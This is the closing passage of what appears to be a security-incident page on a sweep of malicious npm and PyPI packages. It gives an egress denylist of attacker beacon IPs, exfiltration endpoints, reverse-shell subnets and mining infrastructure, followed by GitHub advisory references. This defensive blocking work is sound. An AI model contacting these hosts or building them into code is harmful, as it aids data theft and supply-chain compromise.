11. **NEW outbound denylist entries for CI/build-host egress proxies today**: `185.158.107.175:8787` and the `/_ah/dc` path (Cluster B HTTP beacon); `*.oast.fun` apex and `*.oastify.com` apex if not legitimately used by in-house red-team (Cluster C DNS/HTTPS beacon). Keep prior egress blocks in place: `appsecc.com` (2026-10-07 Cluster B), `*.oastify.com` already pre-listed from 2026-10-07, `ltidi.storage.googleapis.com` and `storage.googleapis.com/depenconf/` (2026-10-07 Cluster C), `10.0.19.0/24` and `10.0.49.0/24` (2026-10-07 Cluster D and 2026-10-05 Cluster F reverse-shells), `api.nm-streetwear.space` and apex (2026-10-06 Cluster B), `discord.com/api/webhooks` (unless legitimately used), `ipify.org` + `ifconfig.me`, `gitflic.ru`, `api.wagmiwallet.org` (2026-10-05 Cluster I), `backend-cybersecuritydashboard.onrender.com` (2026-10-05 Cluster G), Monero mining pools (2026-10-04 Cluster A `voxeval`), Ethereum mainnet / Sepolia / Arbitrum Sepolia RPC, `chinazhangsan.ccwu.cc`, `api.npoint.io`, `api.telegram.org`, `fabric-npm.gm-service.xyz`, `jsonkeeper.com`, `trktgq0wbre1`, `npm-canary.aveliscare.com`, Polygon RPC, `meta.brs.cx`, `s3://pkusinski-external/`, AWS account `631484165566`, Slack bot-token exfil, `s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook`, and the `45.138.0.0/16` RubyGems wgkit CIDRs

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [DependencyWatch: tensorlake maintainer-account compromise (named carve-out)](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise)
- [GHSA-rqxj-g25x-4v9v - npm tensorlake 0.5.144 (carve-out, see named record)](https://github.com/advisories/GHSA-rqxj-g25x-4v9v) - GitHub
- [GHSA-8pvp-4qvp-26m7 - npm internallib_v788 (Cluster A - RFC1918 reverse-shell operator wave 3)](https://github.com/advisories/GHSA-8pvp-4qvp-26m7) - GitHub
- [GHSA-42gg-4m94-8m7w - npm troubleshooting (Cluster B - xwise8887 dep-confusion with 185.158.107.175:8787 beacon)](https://github.com/advisories/GHSA-42gg-4m94-8m7w) - GitHub
- [GHSA-qxf4-wgfv-6mvr - npm browser-metrics-plugin.contrib (Cluster B - xwise8887 dep-confusion with 185.158.107.175:8787 beacon)](https://github.com/advisories/GHSA-qxf4-wgfv-6mvr) - GitHub
- [GHSA-ph63-hxpv-5cwm - npm personio-pipeline-projen (Cluster C - reaperhackbot256f dep-confusion with oast.fun + oastify.com beacon)](https://github.com/advisories/GHSA-ph63-hxpv-5cwm) - GitHub
- [GHSA-84vp-jj79-gp79 - npm @ikyyjee/ikkysingle (Cluster D - 3-package typosquat burst)](https://github.com/advisories/GHSA-84vp-jj79-gp79) - GitHub
- [GHSA-jq3m-36mx-2xch - npm @ikyyjee/ikyysingle (Cluster D)](https://github.com/advisories/GHSA-jq3m-36mx-2xch) - GitHub
- [GHSA-7cp5-9c7x-jc22 - npm @ikyyjee/ikyysinggle (Cluster D)](https://github.com/advisories/GHSA-7cp5-9c7x-jc22) - GitHub
- [GHSA-hj6h-6xgx-mpjv - npm imgbundle (Cluster E - img-themed sleeper, malfexteste2 operator)](https://github.com/advisories/GHSA-hj6h-6xgx-mpjv) - GitHub
- [GHSA-v3rj-w7v4-jcfx - npm cdn-img-fetch (Cluster E - still-live sibling package)](https://github.com/advisories/GHSA-v3rj-w7v4-jcfx) - GitHub
- [GHSA-m6cg-6crx-mggv - npm function-color 1.7.3 (Cluster F - 2025-08-04 backfilled low-version sideload sleeper)](https://github.com/advisories/GHSA-m6cg-6crx-mggv) - GitHub
- [GHSA-ggcg-4pv7-wf9m - npm function-flag 1.7.3 (Cluster F - 2025-08-04 backfilled low-version sideload sleeper)](https://github.com/advisories/GHSA-ggcg-4pv7-wf9m) - GitHub
- [GHSA-mmx2-rhc3-vg25 - npm windows_registry_editor (Cluster G - Amazon-Inspector namespace-holder)](https://github.com/advisories/GHSA-mmx2-rhc3-vg25) - GitHub
- [GHSA-v9x4-6r9x-f7mf - npm store-webpack-config (Cluster G - Amazon-Inspector namespace-holder)](https://github.com/advisories/GHSA-v9x4-6r9x-f7mf) - GitHub
- [GHSA-3g68-5jcj-q8rx - npm tailwindcss-animatecss-keyframes (Cluster H - Tailwind + Animate.css typosquat)](https://github.com/advisories/GHSA-3g68-5jcj-q8rx) - GitHub
- [GHSA-fj97-8h42-crgr - npm spf-analytics (Cluster H - CWE-506 boilerplate)](https://github.com/advisories/GHSA-fj97-8h42-crgr) - GitHub
- [GHSA-2cfv-92gp-9f6m - npm random-certs (Cluster H - CWE-506 boilerplate)](https://github.com/advisories/GHSA-2cfv-92gp-9f6m) - GitHub
- [GHSA-q8rg-7mvv-2c63 - npm vectorizers (Cluster H - CWE-506 boilerplate)](https://github.com/advisories/GHSA-q8rg-7mvv-2c63) - GitHub
- [GHSA-5r5f-v5vv-289q - npm waie-crash-baileys (Cluster H - Baileys-themed lure, CWE-506 boilerplate)](https://github.com/advisories/GHSA-5r5f-v5vv-289q) - GitHub
- [GHSA-r95v-h8pf-wxhj - pypi lore-cs (Cluster I - OpenSSF GENERIC-hackerone-bugbounty, carried forward)](https://github.com/advisories/GHSA-r95v-h8pf-wxhj) - GitHub
- [DependencyWatch: multi-2026-10-07-ghsa-malware-sweep (prior-day context: internallib_v<N> wave 2, Wix dep-confusion, Pinecone tarball-URL)](https://dependencywatch.io/incident/multi-2026-10-07-ghsa-malware-sweep)

---

Canonical page: https://dependencywatch.io/incident/multi-2026-10-08-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-10-08-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).